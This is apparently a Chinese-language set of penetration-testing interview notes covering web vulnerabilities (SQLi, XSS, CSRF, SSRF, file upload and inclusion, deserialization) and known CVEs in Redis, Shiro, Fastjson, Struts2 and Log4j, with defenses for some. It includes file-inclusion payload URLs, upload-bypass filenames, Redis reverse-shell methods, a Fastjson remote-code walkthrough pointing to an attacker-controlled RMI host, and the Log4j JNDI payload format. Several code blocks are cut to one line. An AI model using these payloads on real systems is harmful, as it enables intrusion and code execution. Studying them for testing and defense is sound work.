渗透测试面经一二三
TOP10漏洞
- SQL注入
- 失效的身份认证和会话管理
- 跨站脚本攻击XSS
- 直接引用不安全的对象
- 安全配置错误
- 敏感信息泄露
- 缺少功能级的访问控制
- 跨站请求伪造CSRF
- 使用含有已知漏洞的组件
- 未验证的重定向和转发
SQL注入漏洞
SQLI定义
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
SQLI分类
根据注入点类型,可以分为数字型注入、字符型注入和搜索型注入。
- 数字型注入是指注入点的值原本为整数等数值;
- 字符型注入是指注入点的值原本为被引号包裹的字符串;
- 搜索型注入是指注入点的值原本为 like 子句中的关键字。
根据提交方式,可以分为
GET
注入、POST
注入、Cookie
注入和HTTP
头部注入。GET
注入是指数据以GET
的方式进行提交,注入点一般在 URL 后;POST
注入是指数据以POST
的方式进行提交,注入点一般在表单的填写处;Cookie
注入是指数据以 Cookie 的方式进行提交;HTTP
头部注入是指数据以HTTP
头部字段(如User-Agent
、X-Forwarded-For
、Referer
等)进行提交。
根据执行效果,可以分为盲注、报错注入、联合查询注入和堆叠注入。
- 盲注是指无法构造出回显位时使用,根据页面回显内容或时间长短作为判断依据,可以分为布尔盲注、时间盲注和 DNSLog 盲注。盲注补充文章
- 报错注入是指利用数据库函数处理不合规定的数据时引发的错误信息来获取数据,常用的函数有
floor
、extractvalue
、updatexml
等。 - 联合查询注入是指利用
union
关键字将多个select
语句的结果集合并在一起返回,从而获取数据。 - 堆叠注入是指利用分号将多条 SQL 语句拼接在一起执行,从而实现数据库或操作系统的操作。
SQLI防范
- 使用预编译 SQL 语句或参数化查询,将用户输入的数据和SQL语句的结构分离,避免用户输入的数据被当作SQL语句的一部分执行,例如使用
PreparedStatement
类或#{}
占位符。 - 对用户输入的数据进行合法性检验,过滤掉不符合规范的数据,例如使用正则表达式或
is_numeric()
等函数。 - 对用户输入的数据中的特殊字符进行转义处理,使其失去原有的含义,例如使用
mysql_real_escape_string()
或addslashes()
等函数。 - 使用存储过程代替拼接 SQL 语句,将用户输入的数据作为存储过程的参数传递,而不是直接拼接到 SQL 语句中。
- 使用网站防火墙或其他安全工具,拦截或过滤掉含有 SQL 注入攻击特征的请求。
SQL面试踩坑问题
预编译SQL可以防止注入的原理是:
- 预编译 SQL 是指先将 SQL 语句的结构和语法分析好,然后用占位符(
?
)代替变量,再将占位符对应的参数传递给数据库执行。 - 预编译 SQL 可以将 SQL 语句的结构和数据分离,避免了用户输入的数据被当作 SQL 语句的一部分执行,从而防止了 SQL 注入攻击。
- 预编译 SQL 还可以提高 SQL 语句的执行效率,因为数据库只需要编译一次 SQL 语句,然后缓存起来,多次执行时只需要替换参数即可。
1 | // 假设sql是一个带有占位符的SQL语句,例如"select * from user where name = ? and password = ?" |
特殊字符转义处理可以防止sql注入的原理是:
- SQL 注入的本质是用户输入的数据被当作 SQL 语句的一部分执行,从而改变了 SQL 语句的语义和逻辑。
- 特殊字符转义处理是指对用户输入的数据中的特殊字符(如单引号、双引号、百分号、下划线等)进行转义,使其失去原有的含义,不会影响 SQL 语句的结构和语法。
- 特殊字符转义处理可以将 SQL 语句的数据和代码分离,避免了用户输入的数据被误解为 SQL 语句的一部分,从而防止了 SQL 注入攻击。
1 | // 假设sql是一个带有占位符的SQL语句,例如"select * from user where name = ? and password = ?" |
这样,即使用户输入的 name
或 password
中包含单引号,也不会导致 SQL 语句的闭合或拼接,而只会被当作普通字符串处理。
sqli-labs思维导图
XSS漏洞
XSS定义
XSS全称为 Cross Site Scripting ,为了和 CSS 分开简写为 XSS ,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。
XSS分类
- 反射型 XSS:也称为非持久型 XSS,是指攻击者将恶意脚本作为参数拼接在 URL 中,当用户点击这个 URL 时,服务器会将恶意脚本“反射”到响应的页面中,浏览器解析执行后产生攻击效果。这种攻击方式需要诱导用户点击链接,且只在点击时有效。
- 存储型 XSS:也称为持久型 XSS,是指攻击者将恶意脚本提交到目标服务器的数据库中,当用户访问含有这些脚本的页面时,浏览器解析执行后产生攻击效果。这种攻击方式不需要诱导用户点击链接,且会持续影响访问该页面的所有用户。
- DOM 型 XSS:是指攻击者利用目标网站存在的 DOM 缺陷,通过修改 DOM 结构或属性,使得恶意脚本得以执行。这种攻击方式不经过服务器端,而是直接在客户端发生。
XSS的防范
- 对用户输入的数据进行合法性检验,过滤掉不符合规范的数据,例如使用正则表达式或
Validator
等函数。 - 对用户输入的数据中的特殊字符进行转义处理,使其失去原有的含义,例如使用
escapeHTML()
或xss()
等函数。 - 对输出到页面上的数据进行编码,根据不同的输出位置,使用不同的编码规则,例如使用
escapeForJs()
或JSON.stringify()
等函数。 - 使用预编译或参数化的方式生成动态HTML,避免用户输入的数据被当作 HTML 代码的一部分执行,例如使用模板引擎或 JSX 等技术。
- 使用同源策略,如使用HTTP响应头来启用浏览器的安全功能,限制反射型XSS攻击,例如使用
X-XSS-Protection
或Content-Security-Policy
等响应头。
同源策略对XSS的防范原理
同源策略是一种安全策略,它用于限制一个源的文档或者它加载的脚本如何能与另一个源的资源进行交互。它能帮助阻隔恶意文档,减少可能被攻击的媒介。
同源策略可以防范 XSS 攻击的原理是:
- XSS 攻击是利用用户的浏览器执行了恶意的脚本,从而获取用户的敏感信息或者篡改页面内容。
- 同源策略限制了不同源的脚本对当前页面的访问和操作,例如不能读取或修改 Cookie 、LocalStorage 、DOM 等数据。
- 如果一个页面加载了不同源的脚本,那么这个脚本只能作为一个黑盒运行,不能获取或影响页面中的任何信息,从而降低了 XSS 攻击的危害。
同源策略防范XSS攻击的方法有以下几种:
- 使用 HTTP 响应头来指定允许加载和执行的脚本的源,例如使用
Content-Security-Policy
或X-Frame-Options
等响应头。 - 使用 Subresource Integrity (SRI) 来验证外部脚本的完整性,确保脚本没有被篡改或替换,例如使用integrity属性来指定脚本的哈希值。
- 使用 CORS (Cross-Origin Resource Sharing) 来控制跨域资源的访问权限,只允许可信的源进行交互,例如使用
Access-Control-Allow-Origin
等响应头。
CSRF漏洞
CSRF定义
CSRF(Cross-Site Request Forgery),也被称为跨站请求伪造,是一种利用用户在浏览器中保存的身份认证信息(如 cookie、会话等)来冒充用户发送恶意请求的攻击方式。
CSRF条件
- 用户已经登录了目标网站并且在浏览器中保留了身份认证信息;
- 用户在没有退出目标网站的情况下访问了攻击者构造的恶意网站或链接。
CSRF攻击过程
- 用户登录目标网站 A,并在浏览器中保存了身份认证信息,如 cookie。
- 用户在没有退出网站 A 的情况下,访问了攻击者控制的网站 B,或者点击了攻击者发送的包含恶意链接的邮件、消息等。
- 网站 B 或恶意链接中包含了一个对网站 A 的请求,该请求利用了用户在浏览器中保存的身份认证信息,以用户的名义向网站 A 发送了一个恶意请求,如转账、修改密码、删除账号等。
- 网站 A 接收到该请求后,由于携带了用户的身份认证信息,无法区分该请求是用户本人发送的还是攻击者伪造的,因此执行了该请求对应的操作,从而造成用户的损失。
CSRF防范
- 验证
HTTP Referer
字段:HTTP Referer
字段是 HTTP 头中的一个字段,它记录了该 HTTP 请求的来源地址。如果一个请求是来自同一个网站的,那么它的Referer
字段通常是以该网站的域名开头的地址。如果一个请求是来自外部的恶意网站或链接的,那么它的Referer
字段就会与目标网站的域名不匹配。因此,目标网站可以通过检查每个请求的Referer
字段,来判断该请求是否是合法的,还是可能是 CSRF 攻击。 - 在请求地址中添加 token 并验证:token 是一种随机生成的字符串,它可以作为请求的一个参数,用来标识请求的合法性。目标网站可以在用户登录后,为每个用户生成一个唯一的 token,并保存在服务器端的 session 中。然后,在每个需要验证的请求中,要求用户提交这个 token,目标网站再从 session 中取出 token,并与请求中的 token 进行比对,如果一致,则说明该请求是合法的,否则就是 CSRF 攻击。
- 在 HTTP 头中自定义属性并验证:这种方法类似于使用 token 的方法,但是不是将 token 作为请求参数,而是将其作为 HTTP 头中的一个自定义属性,如 X-CSRF-Token。这样可以避免将 token 暴露在 URL 中,也可以避免一些浏览器对 URL 长度的限制。
SSRF漏洞
- SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。
- 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,利用服务端作为跳板来攻击内部资源。
- SSRF漏洞的产生原因大多是由于服务端提供了从其他服务器或应用获取数据的功能,且没有对目标地址做过滤和限制。
- 常见的存在SSRF漏洞的功能有:社交分享、转码服务、在线翻译、图片加载/下载、图片/文章收藏、云服务厂商、网站采集/抓取、数据库内置功能、邮件系统、编码处理、属性信息处理、文件处理等。
- 常见的存在SSRF漏洞的函数有:
file_get_contents
、fsockopen
、curl_exec
等。 - 常见的可以利用SSRF漏洞的URL伪协议有:
file://
、dict://
、sftp://
、ldap://
、tftp://
、gopher://
等。
文件上传漏洞
常用绕过姿势
- 前端JavaScript检测绕过:通过抓包或禁用 JavaScript 来修改文件类型或大小。
- MIME验证绕过:通过抓包修改 Content-Type 字段为允许的文件类型。
- 黑名单检测绕过:通过使用不在黑名单中的特殊扩展名(
.phtml
)或大小写混淆来绕过后端对文件后缀的检测。 - 白名单检测绕过:通过使用图片木马或
%00
截断(shell.php%00.txt
)来绕过后端对文件后缀的检测。 - 文件头检测绕过:通过使用十六进制编辑器在文件开头添加图片的文件头来绕过后端对文件类型的检测。
- 文件内容检测绕过:通过使用文件内容替换或图片二次渲染来绕过后端对文件内容的检测。
- 解析漏洞绕过:通过利用服务器对特定文件格式或路径的解析漏洞来执行恶意代码。
- 竞争条件绕过:通过在服务器删除非法文件之前快速访问该文件来执行恶意代码。
%00 截断说明
%00
截断绕过是一种利用空字符(ASCII码为0的字符)来截断文件名或路径的方法,从而绕过文件类型或后缀的检测。这种方法主要适用于 PHP 版本小于 5.3.4 的情况,因为PHP在处理文件名时会认为 0x00
是终止符,从而丢弃后面的部分。
%00
截断绕过有两种常见的用法,一种是 GET 方式提交,一种是 POST 方式提交。具体如下:
- GET方式提交:当服务器端使用GET参数来接收文件路径时,可以在URL中直接使用%00来截断不合法的后缀或路径。例如,如果上传的文件名为
test.php%00.txt
,那么服务器端会认为它是一个.txt
文件,但是在保存时会被截断为test.php
。 - POST方式提交:当服务器端使用POST参数来接收文件路径时,可以在抓包工具中修改文件名或路径,使用0x00或%00来截断不合法的后缀或路径。例如,如果上传的文件名为
shell.jsp%00.txt
,那么服务器端会认为它是一个.txt
文件,但是在保存时会被截断为shell.jsp
。
解析漏洞总结
- IIS 5.x/6.0解析漏洞:在 IIS 5.x 和 IIS 6.0 版本中,存在目录解析漏洞和文件解析漏洞两种利用方式:
- 目录解析漏洞是指在网站中建立名字为
*.asp
、*.asa
等的文件夹,其目录内的任何扩展名文件都会被 IIS 当做 ASP 文件来解析并执行。 - 文件解析漏洞是指在上传图片的时候,如果将网页木马文件的名字改成
*.asp;1.jpg
,分号后面的不被解析,也就是说,*.asp;1.jpg
会被服务器看成是*.asp
,就可以绕过服务器禁止上传ASP文件的限制,这样的畸形文件也同样会被 IIS 当做 ASP 文件来解析并执行。
- 目录解析漏洞是指在网站中建立名字为
- IIS 7.0/IIS 7.5/Nginx <8.03畸形解析漏洞:在 IIS 7.0 / IIS 7.5 / Nginx < 8.03 版本中,在 Fast-CGI 运行模式下,在一个文件路径 (
/xx.jpg
)后面加上/xx.php
会将/xx.jpg/xx.php
解析为 php 文件。这意味着攻击者可以上传合法的图片木马,然后在URL后面加上/xxx.php
,就可以获得网站的WebShell。 - Nginx <8.03空字节代码执行漏洞:在 Nginx <8.03 版本中,当使用 PHP-FastCGI 执行 PHP 时,遇到url里面存在
%00
空字节时与 FastCGI 的处理不一致,导致可在非 PHP 文件中嵌入 PHP 代码,通过访问url+%00.php
来执行其中的PHP代码。例如:”http://127.0.0.1/1.jpg%00.php
“会把1.jpg
当做 PHP 文件来执行。 - Apache解析漏洞:在 Apache 1.x 和 Apache 2.x 中也存在解析漏洞。例如:
1.php.rar
会被当作 php 文件执行。这是因为 Apache 在解析文件时有一个原则:按照识别“.”后的扩展名来解析,当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止。另外,Apache还存在一些配置问题或罕见后缀问题,导致一些特殊格式的文件被当作PHP或其他脚本来执行。 - **后缀包含换行符\x0A (CVE-2017-15715)**:在 Apache 2.4.0-2.4.29 版本中存在一个换行符解析漏洞,在解析 php 时
xxx.php\x0A
将被按照 PHP 后缀进行解析,导致绕过一些服务器的黑名单安全策略。
文件上传判断思路
文件包含漏洞
文件包含漏洞简要介绍
- 文件包含漏洞是一种代码注入的漏洞,其本质就是输入一段用户能够控制的脚本或代码,并让服务器端执行。文件包含漏洞可能会出现在PHP、JSP、ASP等语言中。
- 文件包含漏洞的成因是,程序开发人员为了提高代码的灵活性和复用性,使用了文件包含函数来动态调用其他文件,但没有对用户传入的参数进行严格的过滤或限制,导致用户可以控制要包含的文件路径,从而包含恶意文件或敏感文件。
- 文件包含漏洞的类型有两种,分别是本地文件包含漏洞(LFI)和远程文件包含漏洞(RFI):
- 本地文件包含漏洞是指能够打开并包含服务器本地的文件;
- 远程文件包含漏洞是指能够打开并包含远程服务器上的文件。
- 文件包含漏洞的利用方法有多种,主要有以下几种:配合文件上传使用、包含日志文件、包含 Session 文件、利用 PHP 伪协议等。利用这些方法,攻击者可以执行任意代码、获取敏感信息、获取Webshell等。
文件包含利用方法
- 配合文件上传使用:如果网站存在文件上传功能,可以上传一个包含恶意代码的文件,如一句话木马,然后通过文件包含漏洞来执行该文件。该文件的后缀名可以是任意的,只要内容符合PHP语法规范,就可以被解析。例如,要执行一个名为
shell.jpg
的一句话木马,可以构造URL如下:http://example.com/index.php?page=shell.jpg
。 - 包含日志文件:如果网站没有文件上传功能,但是可以访问到服务器的日志文件,如 Apache 的 access.log 或 error.log ,可以利用日志文件来执行恶意代码。方法是先构造一个包含恶意代码的URL,如
http://example.com/<?php phpinfo();?>
,然后访问该URL,使得服务器将恶意代码记录到日志文件中。接着通过文件包含漏洞来执行日志文件中的恶意代码。例如,要执行 access.log中的恶意代码,可以构造URL如下:http://example.com/index.php?page=/var/log/httpd/access.log
。 - 包含Session文件:如果网站使用了 Session 机制来保存用户的状态信息,可以利用 Session 文件来执行恶意代码。方法是先在浏览器中设置一个包含恶意代码的Cookie值,如
PHPSESSID=<?php phpinfo();?>
,然后访问网站,使得服务器将 Cookie 值保存到 Session 文件中。接着通过文件包含漏洞来执行 Session 文件中的恶意代码。例如,要执行 Session 文件中的恶意代码,可以构造URL如下:http://example.com/index.php?page=/tmp/sess_<?php phpinfo();?>
。 - 利用PHP伪协议:如果网站没有可读取或可写入的本地文件,但是开启了
allow_url_include
选项,可以利用PHP伪协议来执行恶意代码。PHP 伪协议是一种特殊的 URL 格式,可以访问 PHP 内部的流、过滤器、封装协议等。常见的PHP伪协议有以下几种:php://input
:该伪协议可以访问请求主体中的原始数据。利用方法是先通过POST方法发送一个包含恶意代码的请求主体,然后通过文件包含漏洞来执行php://input
中的恶意代码。例如,要执行php://input
中的恶意代码,可以构造URL如下:http://example.com/index.php?page=php://input
。php://filter
:该伪协议可以对本地或远程文件进行过滤操作。利用方法是先通过php://filter/read=convert.base64-encode/resource=
指定要读取的本地或远程文件,然后通过 base64 解码得到该文件的源码。例如,要读取index.php
文件的源码,可以构造URL如下:http://example.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
。data://
:该伪协议可以构造一个包含恶意代码的data://URL
,格式为data://text/plain,<code>
或data://text/plain;base64,<base64-encoded-code>
,其中<code>
是要执行的 PHP 代码,<base64-encoded-code>
是要执行的 PHP 代码的 base64 编码。例如,要执行<?php phpinfo();?>
这段代码,可以构造如下两种 payload :data://text/plain,<?php phpinfo();?>
或者data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
。然后,通过文件包含漏洞来执行data://URL
中的恶意代码:http://example.com/index.php?page=data://text/plain,<?php phpinfo();?>
或者http://example.com/index.php?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
。file://
:该伪协议可以访问本地或远程文件系统。利用方法是先通过file://
指定要读取或执行的本地或远程文件,然后通过文件包含漏洞来访问该文件。例如,要读取本地的/etc/passwd
文件,可以构造URL如下:http://example.com/index.php?page=file:///etc/passwd
。zip://
:该伪协议可以访问 ZIP 压缩文件中的内容。利用方法是先通过zip://
指定要读取或执行的 ZIP 压缩文件及其内部的文件,然后通过文件包含漏洞来访问该文件。例如,要执行一个名为shell.php
的一句话木马,可以将其压缩为shell.zip
,然后上传到服务器,再构造 URL 如下:http://example.com/index.php?page=zip:///var/www/html/uploads/shell.zip#shell.php
。phar://
:该伪协议可以访问 PHP 归档文件( PHAR )中的内容。利用方法是先通过phar://
指定要读取或执行的 PHAR 文件及其内部的文件,然后通过文件包含漏洞来访问该文件。例如,要执行一个名为shell.php
的一句话木马,可以将其打包为shell.phar
,然后上传到服务器,再构造 URL 如下:http://example.com/index.php?page=phar:///var/www/html/uploads/shell.phar/shell.php
。
反序列化漏洞
反序列化漏洞定义
反序列化漏洞是一种利用程序在处理对象、魔术函数和序列化相关的问题时产生的漏洞。当存在反序列化漏洞时,攻击者可以控制序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击。当用户可以控制传给 unserialize()
函数的参数时,就可以注入恶意的 payload ,触发对象中的一些魔术方法,从而执行敏感操作。
PHP中常用的魔术方法
__construct()
:当创建对象时触发,一般用于初始化对象,对变量赋初值。__sleep()
:使用serialize()
函数时自动触发。__wakeup()
:使用unserialize()
时自动触发。__destruct()
:当一个对象被销毁时触发。__toString()
:当一个类被当成字符串使用时触发。__invoke()
:当尝试以调用函数的方式调用一个对象时触发。__call()
:在对象上下文中调用不可访问的方法时触发。__callStatic()
:在静态上下文中调用不可访问的方法时触发。__get()
:用于从不可访问的属性读取数据。__set()
:用于将数据写入不可访问的属性。__isset()
:在不可访问的属性上调用isset()
或empty()
触发。__unset()
:在不可访问的属性上使用unset()
时触发。
端口相关
安全设备相关
安全设备种类
- 防火墙:是一种用于隔离内外网或不同安全域的网络边界控制设备,主要通过策略实现对网络的访问控制。
- 入侵检测系统(IDS):是一种用于监测网络或网络设备的数据传输行为的审计类设备,能够及时发现并报警一些不正常或具有伤害性的网络数据传输行为。
- 入侵防御系统(IPS):是一种用于主动防御网络或网络设备的数据传输行为的访问控制类设备,能够即时中断、调整或隔离一些不正常或具有伤害性的网络数据传输行为。
- 安全网关:是一种用于对进出企业网络的数据流进行病毒扫描和过滤的安全设施,是对防病毒软件和防火墙的补充。
- 统一威胁管理(UTM):是一种将多种安全功能集成于一个硬件设备里的安全网关,包括网络防火墙、网络入侵检测/防御、网关防病毒、应用层防火墙和控制器、深度包检测、Web代理和内容过滤、数据丢失预防、安全信息和事件管理、虚拟专用网络、网络沼泽等功能。
- Web应用防火墙(WAF):是一种集WEB防护、网页保护、负载均衡、应用交付于一体的WEB整体安全防护设备,主要针对Web服务入侵进行检测和阻断。
安全设备区别
- 概念不同:防火墙和IPS属于访问控制类产品,而IDS属于审计类产品。UTM是将多种安全功能集成于一个设备中,而WAF是专门针对Web服务入侵的产品。
- 保护内容不同:防火墙较多应用在转发、内网保护(NAT)、流控、过滤等方面;IDS和IPS主要针对一些攻击情况。一般的防火墙只能做到3-4层的保护,对于5-7层的应用保护很一般,而5-7层的保护正式IDS和IPS的长处。UTM可以提供多项安全功能,但不一定要同时开启。WAF主要针对Web服务入侵进行检测和阻断。
- 部署位置不同:防火墙通常采用串行接入,部署在网络边界,用来隔离内外网;IDS通常采用旁路接入,在网络中靠近攻击源或受保护资源的位置;IPS通常采用Inline接入,在办公网与外部网络的连接部位、重要服务器集群前端、办公网等。
IDS与IPS的区别
- 部署方式不同:IDS是旁路部署,只能监听和告警,不影响网络流量;IPS是串行部署,可以实时阻断和调整网络流量。
- 功能作用不同:IDS主要用于监管网络安全状况,指导安全策略的制定和调整;IPS主要用于实施安全策略,对黑客行为进行阻击。
- 检测范围不同:IDS可以覆盖整个子网,包括来自外部和内部的数据;IPS只能抵御来自外部的入侵,对内部攻击行为无能为力。
- 检测能力不同:IDS只能检测已知的攻击特征,对未知的攻击无法识别;IPS可以检测已知和未知的攻击,并具有成功防止攻击的能力。
WAF与IPS的区别
- 目标不同:WAF主要针对Web应用层的攻击,如SQL注入、XSS、文件上传等;IPS主要针对网络层和传输层的攻击,如端口扫描、SYN洪水、缓冲区溢出等。
- 部署方式不同:WAF通常采用反向代理模式,只处理与Web应用相关的协议,如HTTP/HTTPS;IPS通常采用桥模式,需要处理网络中所有的流量,如TCP/UDP/ICMP等。
- 防御原理不同:WAF主要依靠动态的规则和策略进行防御,可以对Web应用的逻辑和业务进行深度分析和保护;IPS主要依靠静态的签名进行防御,可以对网络流量进行广泛的监控和过滤。
- 功能范围不同:WAF除了具有防御功能外,还具有加固、审计、替身、追溯等功能,可以提供更全面的Web应用安全保护;IPS除了具有防御功能外,还具有检测、响应、日志管理等功能,可以提供更及时的网络安全反应。
Linux相关
Redis数据库相关漏洞
Redis介绍
- Redis 是一个开源的、基于内存的、支持网络和持久化的非关系型数据库,提供了多种数据类型和丰富的操作,可以用于缓存、消息队列、分布式锁等场景。
- Redis 的默认端口是 6379 ,配置文件是
redis.conf
,可以通过config
命令查看或修改配置项。 - Redis 的常见漏洞有未授权访问、弱口令、整数溢出、主从复制等,可以导致信息泄露、远程代码执行、拒绝服务等后果。
- Redis 的漏洞利用方法有利用 ssh 公钥登录服务器、利用计划任务反弹 shell 、利用模块加载执行恶意代码等。
- Redis 的漏洞防护方法有设置密码验证、关闭外网访问、限制可写目录、升级最新版本等。
Redis漏洞利用方式
- 利用 ssh 公钥登录服务器:通过 Redis 未授权访问,将公钥发送到目标服务器的
/root/.ssh/authorized_keys
文件中,然后通过 ssh 直接登录目标服务器。 - 利用计划任务反弹 shell :通过 Redis 未授权访问,将反弹 shell 命令写入目标服务器的
/var/spool/cron/crontabs
文件中,然后等待计划任务执行。 - 利用模块加载执行恶意代码:通过 Redis 未授权访问,将恶意的
.so
文件发送到目标服务器,并利用module load
命令加载执行。 - 利用 Redis 写 webshell :通过 Redis 未授权访问,将 webshell 代码写入目标服务器的网站目录中,然后通过 web 访问执行。
- 利用主从复制 getshell :通过 Redis 未授权访问,将目标服务器设置为从属服务器,并利用主机发送恶意 RDB 文件给从机执行。
Shiro反序列化漏洞
shiro550
- 漏洞原理:Apache Shiro 框架提供了记住密码的功能(
RememberMe
),用户登录成功后会生成经过加密并编码的 cookie 。在服务端对rememberMe
的 cookie 值,先 base64 解码然后 AES 解密再反序列化,就导致了反序列化RCE漏洞。 - payload产生过程:命令=>序列化=> AES 加密=> base64 编码=> RememberMe Cookie 值
- Shiro550漏洞特征:返回包中包含
rememberMe=deleteMe
字段。 - 影响版本:Shiro < 1.2.4
shiro721
- 漏洞原理:由于 Apache Shiro 框架 cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行(RCE)。
- 影响版本:Shiro < 1.4.2
Fastjson反序列化漏洞
Fastjson漏洞介绍
- Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。
- Fastjson 在解析 JSON 对象时,会使用
autoType
实例化某一个具体的类,并调用set/get
方法访问属性。 - Fastjson 在处理 JSON 对象时,没有对 @type 字段进行完整的安全性验证,攻击者可以传入危险的类并调用危险类连接远程 RMI 或 LDAP 服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
- Fastjson 的漏洞影响的版本有多个,一般需要根据CVE编号来判断是否受影响,例如CVE-2017-18349影响的版本为 fastjson < 1.2.25。
Fastjson漏洞原理
- 写一个恶意的 Java 类,例如
Exploit.java
,其中包含执行命令或其他危险操作的逻辑,例如Runtime.getRuntime().exec()
。 - 编译该类,得到
Exploit.class
文件,并将其上传到一个可访问的Web
服务器上,例如http://example.com/Exploit.class
。 - 用 marshalsec 或 ysoserial 等工具,生成一个 RMI 服务的引用,指向恶意类的 URL ,例如
rmi://attacker.com:1099/Exploit
。 - 造一个特殊的 JSON 字符串,其中包含
@type
字段,指定一个存在反序列化漏洞的类,例如com.sun.rowset.JdbcRowSetImpl
,并设置dataSourceName
字段为RMI服务的引用。 - 该 JSON 字符串发送到目标服务器的 Fastjson 反序列化接口,触发漏洞。
一个具体的利用示例如下:
- 编写
Exploit.java
文件,内容如下:
1 | public class Exploit { |
- 编译该文件,得到Exploit.class文件,并将其上传到
http://example.com/Exploit.class
。 - 使用 marshalsec 工具,生成 RMI 服务的引用:
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://example.com/#Exploit" 1099 |
- 构造JSON字符串,内容如下:
1 | { |
- 将该 JSON 字符串发送到目标服务器的 Fastjson 反序列化接口,例如
http://target.com/api/json
。如果目标服务器使用了 Fastjson <= 1.2.24版本,并且开启了autoType功能,就会触发漏洞,执行calc.exe
命令。
脏牛漏洞相关
- Dirty cow 是一个Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。黑客可以在获取低权限的本地用户后,利用此漏洞获取其他只读内存映射的写权限,进一步获取root权限。
- Dirty cow 漏洞存在于Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。
- Dirty cow 漏洞在2016年10月18日被黑客Phil Oester提交,2016年10月20日被Linux内核团队成员、Linux的创始人Linus Torvalds修复。
- Dirty cow 漏洞影响的 Linux 内核版本为 2.6.22 及以上,修复的版本为 4.8.3 及以上。
- Dirty cow 漏洞也影响了基于Linux的操作系统,包括Android,但不同的Android版本和厂商可能有不同的修复时间和方式。
struts2漏洞相关
Apache Struts2 是一个基于MVC设计模式的Web应用框架,会对某些标签属性(比如 id)的属性值进行二次表达式解析,因此在某些场景下将可能导致远程代码执行。
- S2-001:用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式
%{value}
进行解析,然后重新将value
填充到对应的表单数据中。构造PoC :%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
,会返回/user/local/tomcat
。 - S2-005:S2-005 漏洞的起源源于 S2-003 (受影响版本: 低于Struts 2.0.12),struts2 会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL 表达式通过 # 来访问 struts 的对象,struts 框架通过过滤 # 字符防止安全问题,然而通过 unicode 编码(
\u0023
)或8进制(\43
)即可绕过安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用 OGNL 表达式将这2个选项打开。 - S2-007:
age
来自于用户输入,传递一个非整数给id
导致错误,struts2 会将用户的输入当作 ongl 表达式执行,从而导致了漏洞。 - S2-012: 如果在配置
Action
中Result
时使用了重定向类型,并且还使用${param_name}
作为重定向变量,UserAction
中定义有一个name
变量,当触发 redirect 类型返回时,Struts2 获取使用${name}
获取其值,在这个过程中会对name
参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。 - S2-015:如果一个请求与任何其他定义的操作不匹配,它将被匹配
*
,并且所请求的操作名称将用于以操作名称加载 JSP 文件。并且,1 作为 OGNL 表达式的威胁值,{ }
可以在服务器端执行任意的Java代码。这个漏洞是两个问题的组合:
- 请求的操作名称未被转义或再次检查白名单
- 在
TextParseUtil.translateVariables
使用组合$
和%
开放字符时对 OGNL 表达式进行双重评.
- S2-016:在TextParseUtil.translateVariables使用组合
$
和%
开放字符时对OGNL表达式进行双重评估。 - S2-029:在Cookie拦截器中使用了OGNL表达式解析cookie的name和value。
- S2-032:在动态方法调用功能中使用了OGNL表达式解析method参数。
- S2-045:在Jakarta Multipart parser插件中使用了OGNL表达式解析Content-Type头部。
- S2-046:在Jakarta Multipart parser插件中使用了OGNL表达式解析Content-Disposition头部。
- S2-048:在URLValidator中使用了OGNL表达式解析url参数。
- S2-052:在REST插件中使用了OGNL表达式解析Content-Type头部。
- S2-053:在Freemarker标签库中使用了OGNL表达式解析id属性。
- S2-devMode:当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。
Log4j漏洞相关
log4j漏洞是一个 RCE 漏洞,可能影响到任何使用开源 Log4J 2 日志库的Java应用程序。
这个漏洞的原理是利用 Log4j 没有检查 LDAP 和 JNDI 请求,从而允许攻击者在服务器上执行任意Java代码。这是一个典型的缺乏输入验证和盲目信任输入的例子,没有对输入进行清理。(在这种情况下,Log4j没有对传入的URL进行清理)。这次漏洞的形成,是因为 Log4j 2 组件中 lookup
功能的实现类 JndiLookup
的设计缺陷导致,这个类是在 Log4j-core-xxx.jar
,所以这个漏洞和 Log4j-core
有关
- log4j 漏洞是利用 log4j 的日志功能中存在的一个远程代码执行漏洞,攻击者可以通过构造恶意的JNDI(Java Naming and Directory Interface)引用,触发 log4j 解析并执行远程代码。
- log4j 漏洞影响了
2.x < 2.15.0-rc2
的 Apache log4j-core 的应用项目或组件,包括很多常见的 Java 框架和中间件,如 Spring Boot , Apache Struts2 , Apache Solr 等。 - log4j 漏洞的利用方法是在一个恶意请求中携带
${jndi:ldap://host:port/name}
这样的格式,其中host:port
是攻击者控制的服务器,name
是攻击者编写的利用类,当 log4j 接收到这个请求时,会尝试连接到host:port
并加载name
